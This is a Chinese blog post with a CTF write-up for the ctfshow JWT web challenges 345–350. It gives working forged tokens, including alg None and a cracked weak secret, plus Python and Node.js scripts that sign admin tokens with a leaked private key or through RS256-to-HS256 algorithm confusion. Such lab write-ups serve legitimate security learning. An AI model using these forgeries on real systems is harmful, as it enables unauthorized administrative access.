yink's studio

yink's world
Stay hungry, stay foolish.
  1. 首页
  2. ctfshow
  3. 正文

ctfshow jwt

2022年4月9日 344点热度 0人点赞 0条评论

jwt基础介绍以及攻击技巧:

JSON Web Token (JWT) 攻击技巧 - 先知社区 (aliyun.com)

jwt解密网站:

JSON Web Tokens - jwt.io

WEB345

有点无语,不知道为啥原来wp能打通的payload到我这里就打不通了...

正常应该是把sub的user改成admin再base64就行了,不过打不通...如果是无算法的话好像不能加前面的header部分就能过,如果是有算法(比如改成HS256)就需要加header才可以过...不知道为什么...

payload:

W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDk0NzEyNjIsImV4cCI6MTY0OTQ3ODQ2MiwibmJmIjoxNjQ5NDcxMjYyLCJzdWIiOiJhZG1pbiIsImp0aSI6IjFjYmYwODI5YTg2MjU5ZDEzMDE3MzUyN2MwZmQ2OTkxIn1d

WEB346

header部分alg值改成None即可,注意由于这里本身jwt是带签名的,所以我们需要在后面加一个点

payload:

eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTQ3MTgzNywiZXhwIjoxNjQ5NDc5MDM3LCJuYmYiOjE2NDk0NzE4MzcsInN1YiI6ImFkbWluIiwianRpIjoiYjJkOTZhY2VkZmY1Yzc0OTVkZDQzMjNiZjQ5MzFiMTUifQ.

WEB347

盲猜密钥123456,在网站上在线生成就ok

WEB348

直接用brendan-rius/c-jwt-cracker: JWT brute force cracker written in C (github.com)工具爆破就行

使用:./jwtcrack <jwt>

密钥:aaab

然后放到网站在线生成即可

WEB349

给了源码:

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
    var flag="flag_here";
    res.type('html');
    var auth = req.cookies.auth;
    var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
    jwt.verify(auth, cert, function(err, decoded) {
      if(decoded.user==='admin'){
      	res.end(flag);
      }else{
      	res.end('you are not admin');
      }
    });
});

看来跟公私钥有关,那就把公私钥下载下来

这里有一个要注意的地方,process.cwd()方法返回 Node.js 进程的当前工作目录,而这个目录应该是public目录的上级目录,而你访问的网址应该是放在public目录里面的,由于没有指定文件名所以转发到了index.js。所以,public.key和private.key应该也是在public下,是同级目录。要下载这两个文件直接在网址后面加文件名即可,如:

http://fecc1258-9e76-45e5-857f-eacb2df12e35.challenge.ctf.show/public.key

而不用

http://fecc1258-9e76-45e5-857f-eacb2df12e35.challenge.ctf.show/public/public.key

下载了两个文件,按照官方文档伪造jwt应该用私钥,参见Usage Examples — PyJWT 2.3.0 documentation

脚本:

import jwt

private=open('private.key','r').read()
print(jwt.encode({
  "user": "admin",
  "iat": 1649487986
},key=private,algorithm='RS256'))

生成的jwt即可通过认证,注意要用POST方法访问

WEB350

这道题私钥未知,但是公钥已知,所以我们可以通过改算法的方式,把RS256改成HS256

参见JSON Web Token (JWT) 攻击技巧 - 先知社区 (aliyun.com)里有说明

有个小坑,用python的jwt库生成的jwt过不了,必须跟源码一样用js生成的jwt才能过,估计是版本的问题,尽量跟题目一样吧

脚本:

var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');

/* GET home page. */
router.get('/', function(req, res, next) {
    res.type('html');
  var publickey = fs.readFileSync(process.cwd()+'/routes/public.key');
  var token = jwt.sign({ user: 'admin' }, publickey, { algorithm: 'HS256' });
  console.log(token);
  res.render('index', { title: 'Express' });
});

module.exports = router;

参考三位师傅的链接:

CTFSHOW jwt篇_yu22x的博客-CSDN博客_ctf jwt

ctfshow-JWT-WP | L0nm4r (lonmar.cn)

ctfshow jwt - 简书 (jianshu.com)

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2022年4月9日

yink

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

取消回复

COPYRIGHT © 2021 101.34.164.187. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS